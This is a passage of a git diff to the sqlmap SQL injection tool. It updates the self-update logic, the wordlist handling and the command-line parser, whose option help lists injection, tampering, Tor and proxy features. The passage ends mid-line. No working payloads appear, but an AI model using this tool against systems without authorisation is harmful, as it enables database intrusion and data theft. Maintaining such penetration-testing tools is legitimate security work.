-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend -from lib.core.data import conf from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE class Unescaper(AttribDict): def escape(self, expression, quote=True, dbms=None): - if conf.noEscape: - return expression - if expression is None: return expression @@ -25,10 +21,15 @@ def escape(self, expression, quote=True, dbms=None): identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: - return self[dbms](expression, quote=quote) - elif identifiedDbms is not None: - return self[identifiedDbms](expression, quote=quote) + retVal = self[dbms](expression, quote=quote) + elif identifiedDbms is not None and identifiedDbms in self: + retVal = self[identifiedDbms](expression, quote=quote) else: - return expression + retVal = expression + + # e.g. inference comparison for ' + retVal = retVal.replace("'''", "''''") + + return retVal unescaper = Unescaper() diff --git a/lib/core/update.py b/lib/core/update.py index 154452e2515..78635ff39d8 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,16 +10,17 @@ import re import shutil import subprocess -import sys import time -import urllib import zipfile from lib.core.common import dataToStdout -from lib.core.common import getSafeExString +from lib.core.common import extractRegexResult from lib.core.common import getLatestRevision +from lib.core.common import getSafeExString +from lib.core.common import openFile from lib.core.common import pollProcess from lib.core.common import readInput +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths @@ -27,8 +28,9 @@ from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN from lib.core.settings import VERSION +from lib.core.settings import TYPE from lib.core.settings import ZIPBALL_PAGE -from lib.core.settings import UNICODE_ENCODING +from thirdparty.six.moves import urllib as _urllib def update(): if not conf.updateAll: @@ -36,13 +38,40 @@ def update(): success = False - if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): + if TYPE == "pip": + infoMsg = "updating sqlmap to the latest stable version from the " + infoMsg += "PyPI repository" + logger.info(infoMsg) + + debugMsg = "sqlmap will try to update itself using 'pip' command" + logger.debug(debugMsg) + + dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) + + output = "" + try: + process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) + pollProcess(process, True) + output, _ = process.communicate() + success = not process.returncode + except Exception as ex: + success = False + output = getSafeExString(ex) + finally: + output = getText(output) + + if success: + logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P\d+\.\d+\.\d+)\)", output))) + else: + logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) + + elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY - logger.warn(warnMsg) + logger.warning(warnMsg) if VERSION == getLatestRevision(): - logger.info("already at the latest revision '%s'" % getRevisionNumber()) + logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION)) return message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" @@ -71,7 +100,7 @@ def update(): logger.error(errMsg) else: try: - archive = urllib.urlretrieve(ZIPBALL_PAGE)[0] + archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0] with zipfile.ZipFile(archive) as f: for info in f.infolist(): @@ -81,7 +110,7 @@ def update(): filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") if os.path.isfile(filepath): - with open(filepath, "rb") as f: + with openFile(filepath, "r") as f: version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info("updated to the latest version '%s#dev'" % version) success = True @@ -95,6 +124,7 @@ def update(): os.chmod(os.path.join(directory, "sqlmap.py"), attrs) except OSError: logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) + else: infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" @@ -105,34 +135,37 @@ def update(): dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) + output = "" try: - process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) + process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) - stdout, stderr = process.communicate() + output, _ = process.communicate() success = not process.returncode - except (IOError, OSError) as ex: + except Exception as ex: success = False - stderr = getSafeExString(ex) + output = getSafeExString(ex) + finally: + output = getText(output) if success: - logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", getRevisionNumber())) + logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) else: - if "Not a git repository" in stderr: + if "Not a git repository" in output: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.error(errMsg) else: - logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) + logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " - infoMsg += "purposes (http://windows.github.com/) or just " + infoMsg += "purposes (https://desktop.github.com/) or just " infoMsg += "download the latest snapshot from " - infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" + infoMsg += "https://github.com/sqlmapproject/sqlmap/releases" else: infoMsg = "for Linux platform it's recommended " - infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" + infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')" logger.info(infoMsg) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 373d1007969..1bb8e42bf2f 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,25 +1,33 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import os import zipfile from lib.core.common import getSafeExString +from lib.core.common import isZipFile from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapInstallationException +from thirdparty import six -class Wordlist(object): +class Wordlist(six.Iterator): """ Iterator for looping over a large dictionaries + + >>> from lib.core.option import paths + >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type) + True + >>> isinstance(next(Wordlist(paths.WORDLIST)), six.binary_type) + True """ def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): - self.filenames = filenames + self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames self.fp = None + self.zip_file = None self.index = 0 self.counter = -1 self.current = None @@ -35,25 +43,25 @@ def __iter__(self): def adjust(self): self.closeFP() if self.index > len(self.filenames): - raise StopIteration + return # Note: https://stackoverflow.com/a/30217723 (PEP 479) elif self.index == len(self.filenames): self.iter = iter(self.custom) else: self.current = self.filenames[self.index] - if os.path.splitext(self.current)[1].lower() == ".zip": + if isZipFile(self.current): try: - _ = zipfile.ZipFile(self.current, 'r') + self.zip_file = zipfile.ZipFile(self.current, 'r') except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) - if len(_.namelist()) == 0: + if len(self.zip_file.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) - self.fp = _.open(_.namelist()[0]) + self.fp = self.zip_file.open(self.zip_file.namelist()[0]) else: - self.fp = open(self.current, 'r') + self.fp = open(self.current, "rb") self.iter = iter(self.fp) self.index += 1 @@ -63,7 +71,11 @@ def closeFP(self): self.fp.close() self.fp = None - def next(self): + if self.zip_file: + self.zip_file.close() + self.zip_file = None + + def __next__(self): retVal = None while True: self.counter += 1 diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 77ae798f67e..c4eef8c274c 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -26,7 +26,7 @@ class MSSQLBannerHandler(ContentHandler): def __init__(self, banner, info): ContentHandler.__init__(self) - self._banner = sanitizeStr(banner) + self._banner = sanitizeStr(banner or "") self._inVersion = False self._inServicePack = False self._release = None @@ -53,16 +53,16 @@ def startElement(self, name, attrs): elif name == "servicepack": self._inServicePack = True - def characters(self, data): + def characters(self, content): if self._inVersion: - self._version += sanitizeStr(data) + self._version += sanitizeStr(content) elif self._inServicePack: - self._servicePack += sanitizeStr(data) + self._servicePack += sanitizeStr(content) def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): - if version and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): + if version and self._banner and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 927eaa2b0a0..ffba577c24e 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,25 +12,79 @@ import shlex import sys -from optparse import OptionError -from optparse import OptionGroup -from optparse import OptionParser -from optparse import SUPPRESS_HELP +try: + from optparse import OptionError as ArgumentError + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + from optparse import SUPPRESS_HELP as SUPPRESS -from lib.core.common import checkDeprecatedOptions + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument_group(self, *args, **kwargs): + return self.add_option_group(OptionGroup(self, *args, **kwargs)) + + ArgumentParser.add_argument_group = _add_argument_group + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + from argparse import ArgumentError + from argparse import SUPPRESS + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) + + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") + + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + +from lib.core.common import checkOldOptions from lib.core.common import checkSystemEncoding from lib.core.common import dataToStdout from lib.core.common import expandMnemonics -from lib.core.common import getUnicode +from lib.core.common import getSafeExString +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults +from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException +from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException +from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORED_OPTIONS +from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING @@ -38,6 +92,7 @@ from lib.core.shell import clearHistory from lib.core.shell import loadHistory from lib.core.shell import saveHistory +from thirdparty.six.moves import input as _input def cmdLineParser(argv=None): """ @@ -52,751 +107,872 @@ def cmdLineParser(argv=None): # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) - usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) - parser = OptionParser(usage=usage) + usage = "%s%s [options]" % ("%s " % os.path.basename(sys.executable) if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) + parser = ArgumentParser(usage=usage) try: - parser.add_option("--hh", dest="advancedHelp", - action="store_true", - help="Show advanced help message and exit") + parser.add_argument("--hh", dest="advancedHelp", action="store_true", + help="Show advanced help message and exit") - parser.add_option("--version", dest="showVersion", - action="store_true", - help="Show program's version number and exit") + parser.add_argument("--version", dest="showVersion", action="store_true", + help="Show program's version number and exit") - parser.add_option("-v", dest="verbose", type="int", - help="Verbosity level: 0-6 (default %d)" % defaults.verbose) + parser.add_argument("-v", dest="verbose", type=int, + help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options - target = OptionGroup(parser, "Target", "At least one of these " - "options has to be provided to define the target(s)") - - target.add_option("-d", dest="direct", help="Connection string " - "for direct database connection") + target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)") - target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") + target.add_argument("-u", "--url", dest="url", + help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") - target.add_option("-l", dest="logFile", help="Parse target(s) from Burp " - "or WebScarab proxy log file") + target.add_argument("-d", dest="direct", + help="Connection string for direct database connection") - target.add_option("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") + target.add_argument("-l", dest="logFile", + help="Parse target(s) from Burp or WebScarab proxy log file") - target.add_option("-m", dest="bulkFile", help="Scan multiple targets given " - "in a textual file ") + target.add_argument("-m", dest="bulkFile", + help="Scan multiple targets given in a textual file ") - target.add_option("-r", dest="requestFile", - help="Load HTTP request from a file") + target.add_argument("-r", dest="requestFile", + help="Load HTTP request from a file") - target.add_option("-g", dest="googleDork", - help="Process Google dork results as target URLs") + target.add_argument("-g", dest="googleDork", + help="Process Google dork results as target URLs") - target.add_option("-c", dest="configFile", - help="Load options from a configuration INI file") + target.add_argument("-c", dest="configFile", + help="Load options from a configuration INI file") # Request options - request = OptionGroup(parser, "Request", "These options can be used " - "to specify how to connect to the target URL") + request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") + + request.add_argument("-A", "--user-agent", dest="agent", + help="HTTP User-Agent header value") + + request.add_argument("-H", "--header", dest="header", + help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") + + request.add_argument("--method", dest="method", + help="Force usage of given HTTP method (e.g. PUT)") + + request.add_argument("--data", dest="data", + help="Data string to be sent through POST (e.g. \"id=1\")") - request.add_option("--method", dest="method", - help="Force usage of given HTTP method (e.g. PUT)") + request.add_argument("--param-del", dest="paramDel", + help="Character used for splitting parameter values (e.g. &)") - request.add_option("--data", dest="data", - help="Data string to be sent through POST (e.g. \"id=1\")") + request.add_argument("--cookie", dest="cookie", + help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") - request.add_option("--param-del", dest="paramDel", - help="Character used for splitting parameter values (e.g. &)") + request.add_argument("--cookie-del", dest="cookieDel", + help="Character used for splitting cookie values (e.g. ;)") - request.add_option("--cookie", dest="cookie", - help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") + request.add_argument("--live-cookies", dest="liveCookies", + help="Live cookies file used for loading up-to-date values") - request.add_option("--cookie-del", dest="cookieDel", - help="Character used for splitting cookie values (e.g. ;)") + request.add_argument("--load-cookies", dest="loadCookies", + help="File containing cookies in Netscape/wget format") - request.add_option("--load-cookies", dest="loadCookies", - help="File containing cookies in Netscape/wget format") + request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", + help="Ignore Set-Cookie header from response") - request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true", - help="Ignore Set-Cookie header from response") + request.add_argument("--http1.0", dest="http10", action="store_true", + help="Use HTTP version 1.0 (old)") - request.add_option("--user-agent", dest="agent", - help="HTTP User-Agent header value") + request.add_argument("--http2", dest="http2", action="store_true", + help="Use HTTP version 2 (experimental)") - request.add_option("--random-agent", dest="randomAgent", action="store_true", - help="Use randomly selected HTTP User-Agent header value") + request.add_argument("--mobile", dest="mobile", action="store_true", + help="Imitate smartphone through HTTP User-Agent header") - request.add_option("--host", dest="host", - help="HTTP Host header value") + request.add_argument("--random-agent", dest="randomAgent", action="store_true", + help="Use randomly selected HTTP User-Agent header value") - request.add_option("--referer", dest="referer", - help="HTTP Referer header value") + request.add_argument("--host", dest="host", + help="HTTP Host header value") - request.add_option("-H", "--header", dest="header", - help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") + request.add_argument("--referer", dest="referer", + help="HTTP Referer header value") - request.add_option("--headers", dest="headers", - help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") + request.add_argument("--headers", dest="headers", + help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") - request.add_option("--auth-type", dest="authType", - help="HTTP authentication type (Basic, Digest, NTLM or PKI)") + request.add_argument("--auth-type", dest="authType", + help="HTTP authentication type (Basic, Digest, Bearer, ...)") - request.add_option("--auth-cred", dest="authCred", - help="HTTP authentication credentials (name:password)") + request.add_argument("--auth-cred", dest="authCred", + help="HTTP authentication credentials (name:password)") - request.add_option("--auth-file", dest="authFile", - help="HTTP authentication PEM cert/private key file") + request.add_argument("--auth-file", dest="authFile", + help="HTTP authentication PEM cert/private key file") - request.add_option("--ignore-code", dest="ignoreCode", type="int", - help="Ignore (problematic) HTTP error code (e.g. 401)") + request.add_argument("--abort-code", dest="abortCode", + help="Abort on (problematic) HTTP error code(s) (e.g. 401)") - request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", - help="Ignore system default proxy settings") + request.add_argument("--ignore-code", dest="ignoreCode", + help="Ignore (problematic) HTTP error code(s) (e.g. 401)") - request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true", - help="Ignore redirection attempts") + request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", + help="Ignore system default proxy settings") - request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", - help="Ignore connection timeouts") + request.add_argument("--ignore-redirects", dest="ignoreRedirects", action="store_true", + help="Ignore redirection attempts") - request.add_option("--proxy", dest="proxy", - help="Use a proxy to connect to the target URL") + request.add_argument("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", + help="Ignore connection timeouts") - request.add_option("--proxy-cred", dest="proxyCred", - help="Proxy authentication credentials (name:password)") + request.add_argument("--proxy", dest="proxy", + help="Use a proxy to connect to the target URL") - request.add_option("--proxy-file", dest="proxyFile", - help="Load proxy list from a file") + request.add_argument("--proxy-cred", dest="proxyCred", + help="Proxy authentication credentials (name:password)") - request.add_option("--tor", dest="tor", action="store_true", - help="Use Tor anonymity network") + request.add_argument("--proxy-file", dest="proxyFile", + help="Load proxy list from a file") - request.add_option("--tor-port", dest="torPort", - help="Set Tor proxy port other than default") + request.add_argument("--proxy-freq", dest="proxyFreq", type=int, + help="Requests between change of proxy from a given list") - request.add_option("--tor-type", dest="torType", - help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") + request.add_argument("--tor", dest="tor", action="store_true", + help="Use Tor anonymity network") - request.add_option("--check-tor", dest="checkTor", action="store_true", - help="Check to see if Tor is used properly") + request.add_argument("--tor-port", dest="torPort", + help="Set Tor proxy port other than default") - request.add_option("--delay", dest="delay", type="float", - help="Delay in seconds between each HTTP request") + request.add_argument("--tor-type", dest="torType", + help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") - request.add_option("--timeout", dest="timeout", type="float", - help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) + request.add_argument("--check-tor", dest="checkTor", action="store_true", + help="Check to see if Tor is used properly") - request.add_option("--retries", dest="retries", type="int", - help="Retries when the connection timeouts (default %d)" % defaults.retries) + request.add_argument("--delay", dest="delay", type=float, + help="Delay in seconds between each HTTP request") - request.add_option("--randomize", dest="rParam", - help="Randomly change value for given parameter(s)") + request.add_argument("--timeout", dest="timeout", type=float, + help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) - request.add_option("--safe-url", dest="safeUrl", - help="URL address to visit frequently during testing") + request.add_argument("--retries", dest="retries", type=int, + help="Retries when the connection timeouts (default %d)" % defaults.retries) - request.add_option("--safe-post", dest="safePost", - help="POST data to send to a safe URL") + request.add_argument("--retry-on", dest="retryOn", + help="Retry request on regexp matching content (e.g. \"drop\")") - request.add_option("--safe-req", dest="safeReqFile", - help="Load safe HTTP request from a file") + request.add_argument("--randomize", dest="rParam", + help="Randomly change value for given parameter(s)") - request.add_option("--safe-freq", dest="safeFreq", type="int", - help="Test requests between two visits to a given safe URL") + request.add_argument("--safe-url", dest="safeUrl", + help="URL address to visit frequently during testing") - request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true", - help="Skip URL encoding of payload data") + request.add_argument("--safe-post", dest="safePost", + help="POST data to send to a safe URL") - request.add_option("--csrf-token", dest="csrfToken", - help="Parameter used to hold anti-CSRF token") + request.add_argument("--safe-req", dest="safeReqFile", + help="Load safe HTTP request from a file") - request.add_option("--csrf-url", dest="csrfUrl", - help="URL address to visit for extraction of anti-CSRF token") + request.add_argument("--safe-freq", dest="safeFreq", type=int, + help="Regular requests between visits to a safe URL") - request.add_option("--force-ssl", dest="forceSSL", action="store_true", - help="Force usage of SSL/HTTPS") + request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", + help="Skip URL encoding of payload data") - request.add_option("--hpp", dest="hpp", action="store_true", - help="Use HTTP parameter pollution method") + request.add_argument("--csrf-token", dest="csrfToken", + help="Parameter used to hold anti-CSRF token") - request.add_option("--eval", dest="evalCode", - help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") + request.add_argument("--csrf-url", dest="csrfUrl", + help="URL address to visit for extraction of anti-CSRF token") + + request.add_argument("--csrf-method", dest="csrfMethod", + help="HTTP method to use during anti-CSRF token page visit") + + request.add_argument("--csrf-data", dest="csrfData", + help="POST data to send during anti-CSRF token page visit") + + request.add_argument("--csrf-retries", dest="csrfRetries", type=int, + help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) + + request.add_argument("--force-ssl", dest="forceSSL", action="store_true", + help="Force usage of SSL/HTTPS") + + request.add_argument("--chunked", dest="chunked", action="store_true", + help="Use HTTP chunked transfer encoded (POST) requests") + + request.add_argument("--hpp", dest="hpp", action="store_true", + help="Use HTTP parameter pollution method") + + request.add_argument("--eval", dest="evalCode", + help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options - optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap") + optimization = parser.add_argument_group("Optimization", "These options can be used to optimize the performance of sqlmap") - optimization.add_option("-o", dest="optimize", action="store_true", - help="Turn on all optimization switches") + optimization.add_argument("-o", dest="optimize", action="store_true", + help="Turn on all optimization switches") - optimization.add_option("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") + optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", + help="Predict common queries output") - optimization.add_option("--keep-alive", dest="keepAlive", action="store_true", - help="Use persistent HTTP(s) connections") + optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", + help="Use persistent HTTP(s) connections") - optimization.add_option("--null-connection", dest="nullConnection", action="store_true", - help="Retrieve page length without actual HTTP response body") + optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", + help="Retrieve page length without actual HTTP response body") - optimization.add_option("--threads", dest="threads", type="int", - help="Max number of concurrent HTTP(s) " - "requests (default %d)" % defaults.threads) + optimization.add_argument("--threads", dest="threads", type=int, + help="Max number of concurrent HTTP(s) requests (default %d)" % defaults.threads) # Injection options - injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") + injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") - injection.add_option("-p", dest="testParameter", - help="Testable parameter(s)") + injection.add_argument("-p", dest="testParameter", + help="Testable parameter(s)") - injection.add_option("--skip", dest="skip", - help="Skip testing for given parameter(s)") + injection.add_argument("--skip", dest="skip", + help="Skip testing for given parameter(s)") - injection.add_option("--skip-static", dest="skipStatic", action="store_true", - help="Skip testing parameters that not appear to be dynamic") + injection.add_argument("--skip-static", dest="skipStatic", action="store_true", + help="Skip testing parameters that not appear to be dynamic") - injection.add_option("--param-exclude", dest="paramExclude", - help="Regexp to exclude parameters from testing (e.g. \"ses\")") + injection.add_argument("--param-exclude", dest="paramExclude", + help="Regexp to exclude parameters from testing (e.g. \"ses\")") - injection.add_option("--dbms", dest="dbms", - help="Force back-end DBMS to provided value") + injection.add_argument("--param-filter", dest="paramFilter", + help="Select testable parameter(s) by place (e.g. \"POST\")") - injection.add_option("--dbms-cred", dest="dbmsCred", - help="DBMS authentication credentials (user:password)") + injection.add_argument("--dbms", dest="dbms", + help="Force back-end DBMS to provided value") - injection.add_option("--os", dest="os", - help="Force back-end DBMS operating system to provided value") + injection.add_argument("--dbms-cred", dest="dbmsCred", + help="DBMS authentication credentials (user:password)") - injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true", - help="Use big numbers for invalidating values") + injection.add_argument("--os", dest="os", + help="Force back-end DBMS operating system to provided value") - injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true", - help="Use logical operations for invalidating values") + injection.add_argument("--invalid-bignum", dest="invalidBignum", action="store_true", + help="Use big numbers for invalidating values") - injection.add_option("--invalid-string", dest="invalidString", action="store_true", - help="Use random strings for invalidating values") + injection.add_argument("--invalid-logical", dest="invalidLogical", action="store_true", + help="Use logical operations for invalidating values") - injection.add_option("--no-cast", dest="noCast", action="store_true", - help="Turn off payload casting mechanism") + injection.add_argument("--invalid-string", dest="invalidString", action="store_true", + help="Use random strings for invalidating values") - injection.add_option("--no-escape", dest="noEscape", action="store_true", - help="Turn off string escaping mechanism") + injection.add_argument("--no-cast", dest="noCast", action="store_true", + help="Turn off payload casting mechanism") - injection.add_option("--prefix", dest="prefix", - help="Injection payload prefix string") + injection.add_argument("--no-escape", dest="noEscape", action="store_true", + help="Turn off string escaping mechanism") - injection.add_option("--suffix", dest="suffix", - help="Injection payload suffix string") + injection.add_argument("--prefix", dest="prefix", + help="Injection payload prefix string") - injection.add_option("--tamper", dest="tamper", - help="Use given script(s) for tampering injection data") + injection.add_argument("--suffix", dest="suffix", + help="Injection payload suffix string") + + injection.add_argument("--tamper", dest="tamper", + help="Use given script(s) for tampering injection data") # Detection options - detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase") + detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") + + detection.add_argument("--level", dest="level", type=int, + help="Level of tests to perform (1-5, default %d)" % defaults.level) - detection.add_option("--level", dest="level", type="int", - help="Level of tests to perform (1-5, default %d)" % defaults.level) + detection.add_argument("--risk", dest="risk", type=int, + help="Risk of tests to perform (1-3, default %d)" % defaults.risk) - detection.add_option("--risk", dest="risk", type="int", - help="Risk of tests to perform (1-3, default %d)" % defaults.risk) + detection.add_argument("--string", dest="string", + help="String to match when query is evaluated to True") - detection.add_option("--string", dest="string", - help="String to match when query is evaluated to True") + detection.add_argument("--not-string", dest="notString", + help="String to match when query is evaluated to False") - detection.add_option("--not-string", dest="notString", - help="String to match when query is evaluated to False") + detection.add_argument("--regexp", dest="regexp", + help="Regexp to match when query is evaluated to True") - detection.add_option("--regexp", dest="regexp", - help="Regexp to match when query is evaluated to True") + detection.add_argument("--code", dest="code", type=int, + help="HTTP code to match when query is evaluated to True") - detection.add_option("--code", dest="code", type="int", - help="HTTP code to match when query is evaluated to True") + detection.add_argument("--smart", dest="smart", action="store_true", + help="Perform thorough tests only if positive heuristic(s)") - detection.add_option("--text-only", dest="textOnly", action="store_true", - help="Compare pages based only on the textual content") + detection.add_argument("--text-only", dest="textOnly", action="store_true", + help="Compare pages based only on the textual content") - detection.add_option("--titles", dest="titles", action="store_true", - help="Compare pages based only on their titles") + detection.add_argument("--titles", dest="titles", action="store_true", + help="Compare pages based only on their titles") # Techniques options - techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques") + techniques = parser.add_argument_group("Techniques", "These options can be used to tweak testing of specific SQL injection techniques") - techniques.add_option("--technique", dest="tech", - help="SQL injection techniques to use (default 